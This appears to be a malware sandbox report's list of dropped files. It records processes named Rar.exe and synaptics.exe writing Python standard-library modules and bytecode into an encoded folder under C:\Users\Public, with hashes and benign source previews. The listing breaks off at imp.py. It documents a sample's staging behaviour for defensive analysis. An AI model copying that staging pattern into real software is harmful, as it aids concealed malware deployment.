Preview:	#. Copyright (C) 2005-2010 Gregory P. Smith (greg@krypto.org)..# Licensed to PSF under a Contributor Agreement...#....__doc__ = """hashlib module - A common interface to many hash functions.....new(name, data=b'', **kwargs) - returns a new hash object implementing the.. given hash function; initializing the hash.. using the given binary data.....Named constructor functions are also available, these are faster..than using new(name):....md5(), sha1(), sha224(), sha256(), sha384(), sha512(), blake2b(), blake2s(),..sha3_224, sha3_256, sha3_384, sha3_512, shake_128, and shake_256.....More algorithms may be available on your platform but the above are guaranteed..to exist. See the algorithms_guaranteed and algorithms_available attributes..to find out what algorithm names can be passed to new().....NOTE: If you want the adler32 or crc32 hash functions they are available in..the zlib module.....Choose your hash function wisely.

C:\Users\Public\QExvbmVOb25l\Lib\heapq.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	23478
Entropy (8bit):	4.580828814586343
Encrypted:	false
SSDEEP:	384:zIyh8ImoQ2TaWDxr0K6rNK3WahBUmYcqV3+oxjTe+ENxd1S2+HGRh:zIC8ImTiA5cgxjT4xdGH+
MD5:	6D447DCB24E4E6EEB99B898F90736687
SHA1:	2CF71707A9889363EAFE7616BD3C585A6897E882
SHA-256:	F140027EAFEF0C3D3FC13D9B393F1A6F24069E5437BDE478E1B95EB47D3EA24D
SHA-512:	EF2D1884A5B56EA3533760C382CAE2D345CCD5F0FE54D6063EAAB4E6A3E01581F312C076FA73A75BA5451E618653BCB1F937BC3D77E9956AB8C61AA3FE008CB7
Malicious:	false
Reputation:	low
Preview:	"""Heap queue algorithm (a.k.a. priority queue).....Heaps are arrays for which a[k] <= a[2k+1] and a[k] <= a[2k+2] for..all k, counting elements from 0. For the sake of comparison,..non-existing elements are considered to be infinite. The interesting..property of a heap is that a[0] is always its smallest element.....Usage:....heap = [] # creates an empty heap..heappush(heap, item) # pushes a new item on the heap..item = heappop(heap) # pops the smallest item from the heap..item = heap[0] # smallest item on the heap without popping it..heapify(x) # transforms list into a heap, in-place, in linear time..item = heapreplace(heap, item) # pops and returns smallest item, and adds.. # new item; the heap size is unchanged....Our API differs from textbook heap algorithms as follows:....- We use 0-based indexing. This makes the relationship between the.. index for a node and the indexes for its children slightly less.. obvious, but

C:\Users\Public\QExvbmVOb25l\Lib\hmac.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7936
Entropy (8bit):	4.550266087115813
Encrypted:	false
SSDEEP:	192:6ko2Qnkb5tQl/eFrNry3HYO429+036i5BhzRG8j:6ko2QM5tQlmFrNr/O4L03HhzRD
MD5:	A7308CEE7CED61CEA957D925076FB85B
SHA1:	D23A21F8ADF650171695BCFFF239E974A783DF66
SHA-256:	C9FC1D1AC2E1AF1FCB0976E9A7FFBE14B13A4177C0F39AF9639EA341338DC72C
SHA-512:	7609E95ACB5BC5CBC570060D5E167E1E3A9A5035E3822580F4BAE7D17AC5C497DEE5F6DD0E80F46EBDDEA4985721FA4FCA055F379F5DC731DD70FFE0F36BFF7A
Malicious:	false
Reputation:	low
Preview:	"""HMAC (Keyed-Hashing for Message Authentication) module.....Implements the HMAC algorithm as described by RFC 2104..."""....import warnings as _warnings..try:.. import _hashlib as _hashopenssl..except ImportError:.. _hashopenssl = None.. _functype = None.. from _operator import _compare_digest as compare_digest..else:.. compare_digest = _hashopenssl.compare_digest.. _functype = type(_hashopenssl.openssl_sha256) # builtin type....import hashlib as _hashlib....trans_5C = bytes((x ^ 0x5C) for x in range(256))..trans_36 = bytes((x ^ 0x36) for x in range(256))....# The size of the digests returned by HMAC depends on the underlying..# hashing module used. Use digest_size from the instance of HMAC instead...digest_size = None......class HMAC:.. """RFC 2104 HMAC class. Also complies with RFC 4231..... This supports the API for Cryptographic Hash Functions (PEP 247)... """.. blocksize = 64 # 512-bit HMAC; can be changed in subclasses..... __slots__ = (..

C:\Users\Public\QExvbmVOb25l\Lib\http\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6883
Entropy (8bit):	5.095382966902921
Encrypted:	false
SSDEEP:	192:FcbQSiy+TbKatPR4qXiasXh+O5ZSsB3CeAXI5UKj:F/yqXiasXzgep5UKj
MD5:	26B5CF5F93FA25440187796DB6CCCE16
SHA1:	7547272BDFA0BC9A9387CDE17FC5972B548E2593
SHA-256:	6297DA88AB77CCED08A3C622C51292851CC95B8175B7342B4CD7F86595F73158
SHA-512:	BD5737BFCE668B6F1513A00010C8A33E6D2841C709B4DFE86DA1A7EE51C78C27AB61DABA6E1F2599432EA4224D6E488F61F464AF385F5180A7F55EC9142D4F1A
Malicious:	false
Reputation:	low
Preview:	from enum import IntEnum....__all__ = ['HTTPStatus']......class HTTPStatus(IntEnum):.. """HTTP status codes and reason phrases.... Status codes from the following RFCs are all observed:.... * RFC 7231: Hypertext Transfer Protocol (HTTP/1.1), obsoletes 2616.. * RFC 6585: Additional HTTP Status Codes.. * RFC 3229: Delta encoding in HTTP.. * RFC 4918: HTTP Extensions for WebDAV, obsoletes 2518.. * RFC 5842: Binding Extensions to WebDAV.. * RFC 7238: Permanent Redirect.. * RFC 2295: Transparent Content Negotiation in HTTP.. * RFC 2774: An HTTP Extension Framework.. * RFC 7725: An HTTP Status Code to Report Legal Obstacles.. * RFC 7540: Hypertext Transfer Protocol Version 2 (HTTP/2).. * RFC 2324: Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0).. * RFC 8297: An HTTP Status Code for Indicating Hints.. * RFC 8470: Using Early Data in HTTP.. """.. def __new__(cls, value, phrase, descriptio

C:\Users\Public\QExvbmVOb25l\Lib\http\pycache\init.cpython-310.pyc.22329824

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	6429
Entropy (8bit):	5.803869223949154
Encrypted:	false
SSDEEP:	192:PWZsdAR4kaBaNzpZOZBDcxHN/8O2OHb4k7:P6zpZOZBDcpNp2iT
MD5:	586EC357280D9B2CA86F69BB80E2FD5E
SHA1:	26AB9E4178641B100CE7AE624C5D9E549B217603
SHA-256:	28069D9FE48F2786B99B404CF0A163A252CD87FE6EA554072F7E4D15A7712162
SHA-512:	F1866F7E0205D50981AAD1CE2A6994119DD6E7958518CD664D007E9BD453EE11E59D88DA0F7955DBBD5602E35BB892B33DED2310836191072EE39B97C18067DC
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s&...d.d.l.m.Z...d.g.Z.G.d.d...d.e...Z.d.S.)......)...IntEnum..HTTPStatusc....................@...s....e.Z.d.Z.d.Z.dDd.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d Z d!Z!d"Z"d#Z#d$Z$d%Z%d&Z&d'Z'd(Z(d)Z)dZd+Z+d,Z,d-Z-d.Z.d/Z/d0Z0d1Z1d2Z2d3Z3d4Z4d5Z5d6Z6d7Z7d8Z8d9Z9d:Z:d;Z;d<Z<d=Z=d>Z>d?Z?d@Z@dAZAdBZBdCS.)Er....aG...HTTP status codes and reason phrases.. Status codes from the following RFCs are all observed:.. * RFC 7231: Hypertext Transfer Protocol (HTTP/1.1), obsoletes 2616. * RFC 6585: Additional HTTP Status Codes. * RFC 3229: Delta encoding in HTTP. * RFC 4918: HTTP Extensions for WebDAV, obsoletes 2518. * RFC 5842: Binding Extensions to WebDAV. * RFC 7238: Permanent Redirect. * RFC 2295: Transparent Content Negotiation in HTTP. * RFC 2774: An HTTP Extension Framework. * RFC 7725: An HTTP Status Code to Rep

C:\Users\Public\QExvbmVOb25l\Lib\http\pycache\client.cpython-310.pyc.22328472

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	35191
Entropy (8bit):	5.379843073709396
Encrypted:	false
SSDEEP:	768:poG3AvqgYyeQcyEqVHpu/TTaC5TCW9ObjcDds:iG3JgYyeQcyEqVHpETH5Tj9UjYC
MD5:	65943B0D35BD92C3946B2DDB6F035241
SHA1:	CA28FFACF1F02E492308AEC3C04A410FCC484C02
SHA-256:	FDB73B1E8CB54894FA62AC85A5E1E14A7A8FB0210DA5662363ED6BE50E630FBE
SHA-512:	D2D7D47032026292D41EA9D35909BAE68D823CCF50806CCAA68AF656CA8E1DA75E9C7CE98D93EF489C4D4BDDC5436A9131BFDF246AB594514EA64904579D6852
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...sP...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...g.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.e.....e.j.j.....d.d...e.j.j.....D...Z.d.Z.d.Z.e...d...j.Z.e...d...j Z!e...d...Z"e...d...Z#h.d...Z$d?d.d...Z%G.d.d...d.e.j&j'..Z(d.d...Z)e(f.d.d...ZG.d.d...d.e.j+..Z,G.d.d ..d ..Z-z.d.d.l.Z.W.n...e/y.......Y.n.w.G.d!d"..d"e-..Z0e..1d"....G.d#d$..d$e2..Z3G.d%d&..d&e3..Z4G.d'd(..d(e3..Z5G.d)d..d*e3..Z6G.d+d,..d,e3..Z7G.d-d...d.e3..Z8G.d/d0..d0e3..Z9G.d1d2..d2e3..Z:G.d3d4..d4e:..Z;G.d5d6..d6e:..Z<G.d7d8..d8e:..Z=G.d9d:..d:e3..Z>G.d;d<..d<e3..Z?G.d=d>..d>e@e>..ZAe3ZBd.S.)@a....HTTP/1.1 client library..<intro stuff goes here>.<other stuff, too>..HTTPConnection goes through a number of "states", which define when a client.may legally make another request or fetch the response for a particular.request. This diagram details these state transitions:.. (null). \|. \| HTTPConnection(). v. Idle. \|. \| putr

C:\Users\Public\QExvbmVOb25l\Lib\http\pycache\cookiejar.cpython-310.pyc.61076216

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	53453
Entropy (8bit):	5.564343561169894
Encrypted:	false
SSDEEP:	768:6BX5TRGXx0wM1oyXc63+Rb+TXzpTrY/hgRkOfmXULJn0MFgddqRGfUehMJutkvPK:KAI1FXZ+R+ZyhXd6x8MMT
MD5:	9E81CB93637CA078C9B5090E8B051358
SHA1:	02580005C089ACAEABE364E3B6C36073059AF6A8
SHA-256:	7AF976BB29C3713F9DF340D7F5710D4EEF1C30EF3B9E6E64D113C12F4A0F2A65
SHA-512:	657FAF2A1121778BABD740F719D3C35B2F380AACEBBAC8F3A73AF4C457F4760286F7B8ED4900B64ECFCE22CFE574DEA4BEF35084231713BE4DA45C947F893EF6
Malicious:	false
Reputation:	low
Preview:	o........'-d.6.......................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.Z.d.a.d.d...Z.d.Z.d.Z.e.e.j.j...Z.e...d...Z.d.Z.d.Z.d.d...Z.d.Z.d.d...Z.g.d...Z g.d...Z!g.Z"e!D.].Z#e".$e#.%......qadid.d...Z&did.d...Z'd.d.d.d.d...Z(e...d.e.j)..Zd.d...Z+d.d...Z,e...d.e.j)..Z-e...d.e.j.e.j)B...Z/e...d e.j0e.j)B...Z1d!d"..Z2e...d#e.j0e.j)B...Z3d$d%..Z4d&d'..Z5e...d(..Z6e...d)..Z7e...d..Z8e...d+..Z9d,d-..Z:e...d...Z;d/d0..Z<d1d2..Z=d3d4..Z>e...d5e.j)..Z?d6d7..Z@d8d9..ZAd:d;..ZBd<d=..ZCe...d>e.j)..ZDd?d@..ZEdAdB..ZFdCdD..ZGdEdF..ZHdGZIe...dH..ZJdIdJ..ZKdKdL..ZLdMdN..ZMdOdP..ZNG.dQdR..dR..ZOG.dSdT..dT..ZPG.dUdV..dVeP..ZQdWdX..ZRdYdZ..ZSG.d[d\..d\..ZTG.d]d^..d^..ZUG.d_d`..d`eV..ZWG.dadb..dbeU..ZXdcdd..ZYG.dedf..dfeX..ZZG.dgdh..dheX..Z[d.S.)ja....HTTP cookie handling for web clients...This module has (now fairly distant) origins in Gisle Aas' Perl module.HTTP::Cookies, from the libwww-perl library...Docstrings, comments and debug

C:\Users\Public\QExvbmVOb25l\Lib\http\pycache\cookiejar.cpython-310.pyc.75086096

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	53453
Entropy (8bit):	5.564343561169894
Encrypted:	false
SSDEEP:	768:6BX5TRGXx0wM1oyXc63+Rb+TXzpTrY/hgRkOfmXULJn0MFgddqRGfUehMJutkvPK:KAI1FXZ+R+ZyhXd6x8MMT
MD5:	9E81CB93637CA078C9B5090E8B051358
SHA1:	02580005C089ACAEABE364E3B6C36073059AF6A8
SHA-256:	7AF976BB29C3713F9DF340D7F5710D4EEF1C30EF3B9E6E64D113C12F4A0F2A65
SHA-512:	657FAF2A1121778BABD740F719D3C35B2F380AACEBBAC8F3A73AF4C457F4760286F7B8ED4900B64ECFCE22CFE574DEA4BEF35084231713BE4DA45C947F893EF6
Malicious:	false
Reputation:	low
Preview:	o........'-d.6.......................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.Z.d.a.d.d...Z.d.Z.d.Z.e.e.j.j...Z.e...d...Z.d.Z.d.Z.d.d...Z.d.Z.d.d...Z.g.d...Z g.d...Z!g.Z"e!D.].Z#e".$e#.%......qadid.d...Z&did.d...Z'd.d.d.d.d...Z(e...d.e.j)..Zd.d...Z+d.d...Z,e...d.e.j)..Z-e...d.e.j.e.j)B...Z/e...d e.j0e.j)B...Z1d!d"..Z2e...d#e.j0e.j)B...Z3d$d%..Z4d&d'..Z5e...d(..Z6e...d)..Z7e...d..Z8e...d+..Z9d,d-..Z:e...d...Z;d/d0..Z<d1d2..Z=d3d4..Z>e...d5e.j)..Z?d6d7..Z@d8d9..ZAd:d;..ZBd<d=..ZCe...d>e.j)..ZDd?d@..ZEdAdB..ZFdCdD..ZGdEdF..ZHdGZIe...dH..ZJdIdJ..ZKdKdL..ZLdMdN..ZMdOdP..ZNG.dQdR..dR..ZOG.dSdT..dT..ZPG.dUdV..dVeP..ZQdWdX..ZRdYdZ..ZSG.d[d\..d\..ZTG.d]d^..d^..ZUG.d_d`..d`eV..ZWG.dadb..dbeU..ZXdcdd..ZYG.dedf..dfeX..ZZG.dgdh..dheX..Z[d.S.)ja....HTTP cookie handling for web clients...This module has (now fairly distant) origins in Gisle Aas' Perl module.HTTP::Cookies, from the libwww-perl library...Docstrings, comments and debug

C:\Users\Public\QExvbmVOb25l\Lib\http\pycache\cookies.cpython-310.pyc.70089184

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	15351
Entropy (8bit):	5.447784818916672
Encrypted:	false
SSDEEP:	384:LC6ZJt/SHD+IfhNGV10wqP+6JdMYFGBCeA4Gm0Ir7bDQs61vwOQY2jxP+Qh3lL44:mWJtS+Ifh8D0wqP+6JdMYsBrA4GmzfbX
MD5:	257E60F28A4B45F5578C837D741100F3
SHA1:	5680CAFF01297BDB33F64E1783B059A3885B3E3A
SHA-256:	AF62D676940D567654BB2472ACEE702F1A384DDC19F80C776351EECEFA9775D9
SHA-512:	D9B4CC8BB2A5B773005F6E1499071D3F39C5D3B403A338B37AA7833313C311EE3F46752DD9C21E142220BA3D90C28AF30E23C05249992351CD52365D87DB15E7
Malicious:	false
Reputation:	low
Preview:	o........'-dfR.......................@...sZ...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.d.j.Z.d.j.Z.d.j.Z.G.d.d...d.e...Z.e.j.e.j...d...Z.e.d...Z.d.d...e.e.d.....e.e.e.e.......D...Z.e...e.d...d.e.d...d.i.....e...d.e...e.......j.Z.d.d...Z.e...d...Z.e...d...Z.d.d...Z.g.d...Z.g.d...Z.d.e.e.f.d.d...Z.G.d.d...d.e ..Z!d.Z"e"d ..Z#e...d!e"..d"..e#..d#..e.j$e.j%B...Z&G.d$d%..d%e ..Z'G.d&d'..d'e'..Z(d.S.)(a.....Here's a sample session to show how to use this module..At the moment, this is the only documentation...The Basics.----------..Importing is easy..... >>> from http import cookies..Most of the time you start by creating a cookie... >>> C = cookies.SimpleCookie()..Once you've created your Cookie, you can add values just as if it were.a dictionary... >>> C = cookies.SimpleCookie(). >>> C["fig"] = "newton". >>> C["sugar"] = "wafer". >>> C.output(). 'Set-Cookie: fig=newton\r\nSet-Cookie: sugar=wafer'..Notice that the printable representation of a Cookie is the.appropriate format for a

C:\Users\Public\QExvbmVOb25l\Lib\http\pycache\cookies.cpython-310.pyc.75221056

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	15351
Entropy (8bit):	5.447784818916672
Encrypted:	false
SSDEEP:	384:LC6ZJt/SHD+IfhNGV10wqP+6JdMYFGBCeA4Gm0Ir7bDQs61vwOQY2jxP+Qh3lL44:mWJtS+Ifh8D0wqP+6JdMYsBrA4GmzfbX
MD5:	257E60F28A4B45F5578C837D741100F3
SHA1:	5680CAFF01297BDB33F64E1783B059A3885B3E3A
SHA-256:	AF62D676940D567654BB2472ACEE702F1A384DDC19F80C776351EECEFA9775D9
SHA-512:	D9B4CC8BB2A5B773005F6E1499071D3F39C5D3B403A338B37AA7833313C311EE3F46752DD9C21E142220BA3D90C28AF30E23C05249992351CD52365D87DB15E7
Malicious:	false
Reputation:	low
Preview:	o........'-dfR.......................@...sZ...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.d.j.Z.d.j.Z.d.j.Z.G.d.d...d.e...Z.e.j.e.j...d...Z.e.d...Z.d.d...e.e.d.....e.e.e.e.......D...Z.e...e.d...d.e.d...d.i.....e...d.e...e.......j.Z.d.d...Z.e...d...Z.e...d...Z.d.d...Z.g.d...Z.g.d...Z.d.e.e.f.d.d...Z.G.d.d...d.e ..Z!d.Z"e"d ..Z#e...d!e"..d"..e#..d#..e.j$e.j%B...Z&G.d$d%..d%e ..Z'G.d&d'..d'e'..Z(d.S.)(a.....Here's a sample session to show how to use this module..At the moment, this is the only documentation...The Basics.----------..Importing is easy..... >>> from http import cookies..Most of the time you start by creating a cookie... >>> C = cookies.SimpleCookie()..Once you've created your Cookie, you can add values just as if it were.a dictionary... >>> C = cookies.SimpleCookie(). >>> C["fig"] = "newton". >>> C["sugar"] = "wafer". >>> C.output(). 'Set-Cookie: fig=newton\r\nSet-Cookie: sugar=wafer'..Notice that the printable representation of a Cookie is the.appropriate format for a

C:\Users\Public\QExvbmVOb25l\Lib\http\client.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	58321
Entropy (8bit):	4.406436591744728
Encrypted:	false
SSDEEP:	1536:l3z+32B5SQi1oScyNzBooOSlNcVkACLogKRkRAW5U:l3z+32B5SQi1oScyNzBooOSl4CLoRkRM
MD5:	5D6BFC608ECF70840D6DE2795FD69F1F
SHA1:	17F160F07B156F498D251E189408CBFC5730EA86
SHA-256:	1E627D49863719FE81EEC9EC3CE3A11263E24848F7F9A0DC01DF515971E6ACF5
SHA-512:	AB562C2CB8243109F74C44AD157EA470181581114D42907F76B89B65B7CAAD745B6C0EF39F91AAA02146F1E67C68A244FFFDC0B00E83405A34060E4F84DD0655
Malicious:	false
Reputation:	low
Preview:	r"""HTTP/1.1 client library....<intro stuff goes here>..<other stuff, too>....HTTPConnection goes through a number of "states", which define when a client..may legally make another request or fetch the response for a particular..request. This diagram details these state transitions:.... (null).. \|.. \| HTTPConnection().. v.. Idle.. \|.. \| putrequest().. v.. Request-started.. \|.. \| ( putheader() )* endheaders().. v.. Request-sent.. \|\_____________________________.. \| \| getresponse() raises.. \| response = getresponse() \| ConnectionError.. v v.. Unread-response Idle.. [Response-headers-read].. \|\____________________.. \| \|.. \| response.read() \| putrequest().. v v.. Idle Req-started-unread-response.. ______/\|.. /

C:\Users\Public\QExvbmVOb25l\Lib\http\cookiejar.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	79540
Entropy (8bit):	4.458584258215225
Encrypted:	false
SSDEEP:	1536:Gsf5OCLTKr88g99gZ5m2SLbzf7bbV2VwRyx67wF:G037jgZ5YD/I6Rs6UF
MD5:	C1F3927D2E339DE399959A069F045EC6
SHA1:	B70C655321DBD6F9D95342962FFE39BDA26CCBAF
SHA-256:	55A941BAB49900DC61701C80397554F2F79BF235A26D75DCFF96D20278097D87
SHA-512:	548E40EB51392C99C16A241A12CDBBDD0C4697BC1A4CEF3F6E7AF7BCB966AD41D6EE88E899A9C86735246CDEC569A4155362E4D614E0925921097928EE9A3978
Malicious:	false
Reputation:	low
Preview:	r"""HTTP cookie handling for web clients.....This module has (now fairly distant) origins in Gisle Aas' Perl module..HTTP::Cookies, from the libwww-perl library.....Docstrings, comments and debug strings in this code refer to the..attributes of the HTTP cookie system as cookie-attributes, to distinguish..them clearly from Python attributes.....Class diagram (note that BSDDBCookieJar and the MSIE* classes are not..distributed with the Python standard library, but are available from..http://wwwsearch.sf.net/):.... CookieJar____.. / \ \.. FileCookieJar \ \.. / \| \ \ \.. MozillaCookieJar \| LWPCookieJar \ \.. \| \| \.. \| ---MSIEBase \| \.. \| / \| \| \.. \| / MSIEDBCookieJar BSDDBCookieJar.. \|/.. MSIECookieJar...."""....__all__ = ['Cookie', 'Cook

C:\Users\Public\QExvbmVOb25l\Lib\http\cookies.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	21094
Entropy (8bit):	4.737928355464598
Encrypted:	false
SSDEEP:	384:ShNUZtUx0dqJ1sJxttmT+tOVVyeuPFcLIcfOuu7jvxyXWNYN:ShNUZmx0dCsNPFGIcfyM+YN
MD5:	BB19E50B174A51A5972C7DFD8F142ADB
SHA1:	FE6E9FB17F72042FF2EF00FC6E7F5C51631D2F3C
SHA-256:	D049D9DE921DD9A2D13CD205FC0ABED14691CDDC8BA6F3C174653AF938ECD79F
SHA-512:	993B3238D231137B5E703FC4ADC0FD2A263A6EB7D07FDBFCA11DEEC422184A99C8ABAD6F2CE8F6A36C253D5967BAE8BA921261C636BE4F4B4A3B7D22A05EB27A
Malicious:	false
Reputation:	low
Preview:	####..# Copyright 2000 by Timothy O'Malley <timo@alum.mit.edu>..#..# All Rights Reserved..#..# Permission to use, copy, modify, and distribute this software..# and its documentation for any purpose and without fee is hereby..# granted, provided that the above copyright notice appear in all..# copies and that both that copyright notice and this permission..# notice appear in supporting documentation, and that the name of..# Timothy O'Malley not be used in advertising or publicity..# pertaining to distribution of the software without specific, written..# prior permission...#..# Timothy O'Malley DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS..# SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY..# AND FITNESS, IN NO EVENT SHALL Timothy O'Malley BE LIABLE FOR..# ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES..# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,..# WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS..# ACTION, ARISING

C:\Users\Public\QExvbmVOb25l\Lib\http\server.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	49514
Entropy (8bit):	4.578488993320622
Encrypted:	false
SSDEEP:	1536:lfngUjS+gSOsV6f0aKucGIEgA0Bw4ETVp5tU6N0YO:lvgUjS+7OsVQ0aKucGIEOBuTZN0YO
MD5:	A0E7352D69843F9F999D3EC06678E1B4
SHA1:	7FF7AFC9FB2D5B14A6FDC80882642092F472EE90
SHA-256:	C97B4D93BF1BB9DD82916677A95EF73AA8E73374E3EB9244F2E8560410965AE4
SHA-512:	41729951BAE2E77B3EA235B54A9A1F21792F6D202E4A658D894CE8E6AB063B3AD4D9824D0EE1CC94A0F826808E197E1E2E1BE48308AB504E8EEB97B9AB474E9D
Malicious:	false
Reputation:	low
Preview:	"""HTTP server classes.....Note: BaseHTTPRequestHandler doesn't implement any HTTP request; see..SimpleHTTPRequestHandler for simple implementations of GET, HEAD and POST,..and CGIHTTPRequestHandler for CGI scripts.....It does, however, optionally implement HTTP/1.1 persistent connections,..as of version 0.3.....Notes on CGIHTTPRequestHandler..------------------------------....This class implements GET and POST requests to cgi-bin scripts.....If the os.fork() function is not present (e.g. on Windows),..subprocess.Popen() is used as a fallback, with slightly altered semantics.....In all cases, the implementation is intentionally naive -- all..requests are executed synchronously.....SECURITY WARNING: DON'T USE THIS CODE UNLESS YOU ARE INSIDE A FIREWALL..-- it may execute arbitrary Python code or external programs.....Note that status code 200 is sent prior to execution of a CGI script, so..scripts cannot send other status codes such as 302 (redirect).....XXX To do:....- log requests even

C:\Users\Public\QExvbmVOb25l\Lib\imaplib.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	56515
Entropy (8bit):	4.687424781884806
Encrypted:	false
SSDEEP:	1536:LxnlDvnsQeIBol2eKsBKOgE1IFWv4wem8YCY17JTBY:L9lbsQ5el2eKs4OgE1IFwDem8YN5Ri
MD5:	F26881E2906384DBE388BAFCC0A32393
SHA1:	9246F7D6A4DAD4FF9EA4BE73209A63A2B17CC2D3
SHA-256:	76B464DD9B86B5546E228A310B57C848F8B58533FDFBD19A95F55381192CA508
SHA-512:	2D45809961FDA91A0D7A9F2294FC0F865A05589FF2910C54B7A714175FB09DCAA5B760641F48520B11FDF3DEBDF992CE56873537B61EC826F4623FAF4A33D08B
Malicious:	false
Reputation:	low
Preview:	"""IMAP4 client.....Based on RFC 2060.....Public class: IMAP4..Public variable: Debug..Public functions: Internaldate2tuple.. Int2AP.. ParseFlags.. Time2Internaldate.."""....# Author: Piers Lauder <piers@cs.su.oz.au> December 1997...#..# Authentication code contributed by Donn Cave <donn@u.washington.edu> June 1998...# String method conversion by ESR, February 2001...# GET/SETACL contributed by Anthony Baxter <anthony@interlink.com.au> April 2001...# IMAP4_SSL contributed by Tino Lange <Tino.Lange@isg.de> March 2002...# GET/SETQUOTA contributed by Andreas Zeidler <az@kreativkombinat.de> June 2002...# PROXYAUTH contributed by Rick Holbert <holbert.13@osu.edu> November 2002...# GET/SETANNOTATION contributed by Tomas Lindroos <skitta@abo.fi> June 2005.....__version__ = "2.58"....import binascii, errno, random, re, socket, subprocess, sys, time, calendar..from datetime import datetime, timezone, tim

C:\Users\Public\QExvbmVOb25l\Lib\imghdr.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3976
Entropy (8bit):	4.730395972681575
Encrypted:	false
SSDEEP:	96:MwbIH3M4Hmme6v5At+TXksO2E2+kqaQG6q8GjHjKkz:MRDcaKs/QCpjHjKkz
MD5:	DFFC1936F5CECC4DD8901EA2B924BA1D
SHA1:	7A09F45AE6DE63DABFD951C904ACBD1BB6316D76
SHA-256:	E01288F17006090085CE2CEFB5C8CE94BF0E7D441EEC70BA57BD70034C886899
SHA-512:	2F826D923DD26CB58EAD8F2CB7D56B7C3317D59EF0CDA51C8BA0B126DE39946286F75978249150F3828C088C5A01F605895081262A90A6DD51B763B2C34AFBE2
Malicious:	false
Reputation:	low
Preview:	"""Recognize image file formats based on their first few bytes."""....from os import PathLike....__all__ = ["what"]....#-------------------------#..# Recognize image headers #..#-------------------------#....def what(file, h=None):.. f = None.. try:.. if h is None:.. if isinstance(file, (str, PathLike)):.. f = open(file, 'rb').. h = f.read(32).. else:.. location = file.tell().. h = file.read(32).. file.seek(location).. for tf in tests:.. res = tf(h, f).. if res:.. return res.. finally:.. if f: f.close().. return None......#---------------------------------#..# Subroutines per image file type #..#---------------------------------#....tests = []....def test_jpeg(h, f):.. """JPEG data in JFIF or Exif format""".. if h[6:10] in (b'JFIF', b'Exif'):.. return 'jpeg'....tests.append(test_jpeg)....def test_png(h, f):..

C:\Users\Public\QExvbmVOb25l\Lib\imp.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	10937
Entropy (8bit):	4.78644206171614
Encrypted:	false
SSDEEP:	192:w7D45FhQzMd3kVK+bhhVA02690t/93v5lGbqRDnZfOmSdF2p:wg+WkVK+lhVAuU9xlGuR1nW2p
MD5:	B961B5EA8D2A81594CB59270C55A9412
